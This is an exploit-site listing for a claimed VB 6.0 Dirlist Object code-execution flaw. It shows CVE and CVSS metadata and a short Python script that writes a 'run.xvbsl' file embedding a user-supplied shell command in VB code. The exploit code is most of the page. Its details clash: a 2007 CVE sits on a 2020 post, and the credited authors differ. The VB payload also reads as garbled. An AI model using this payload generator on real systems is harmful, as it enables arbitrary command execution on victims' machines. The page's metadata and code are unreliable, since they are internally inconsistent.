Advertisement






VB 6.0 Dirlist Object - Code Execution

CVE Category Price Severity
CVE-2007-2069 CWE-119 $5,000 High
Author Risk Exploitation Type Date
Kevin Finisterre High Local 2020-04-23
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020040147

Below is a copy:

VB 6.0 Dirlist Object - Code Execution
#/
#* VB 6.0 Dirlist Object Code Execution
#* Author  : Hexrain
#* Tutorial Video : https://youtu.be/BLFbUJ4n8hY
#* Twitter : @smashedkernel
#* Greetz : OA Cybersec ~ wornix ~ blacknbunny
#/
    
import sys

try:
    commandfile = sys.argv[1]
    poc = 'End If\nEnd Sub\nlPtr = Private Type Private Type\nRtlMoveMemory ByVal lPtr, &HE8, &H1: lPtr = lPtr + 1\nRtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4: lPtr = lPtr + 4\nRtlMoveMemory ByVal lPtr, &HC3, &H1: lPtr = lPtr + 1\nCallAPI = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)\nbvASM(Shell "{0}",vbNormal)\nEnd Function\n'.format(commandfile)
    fo = open("run.xvbsl", "w")
    fo.write( poc)
    fo.close()
    print ("[+] Payload Created Succes..")
except:
    print ("[!] Payload not created..")

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum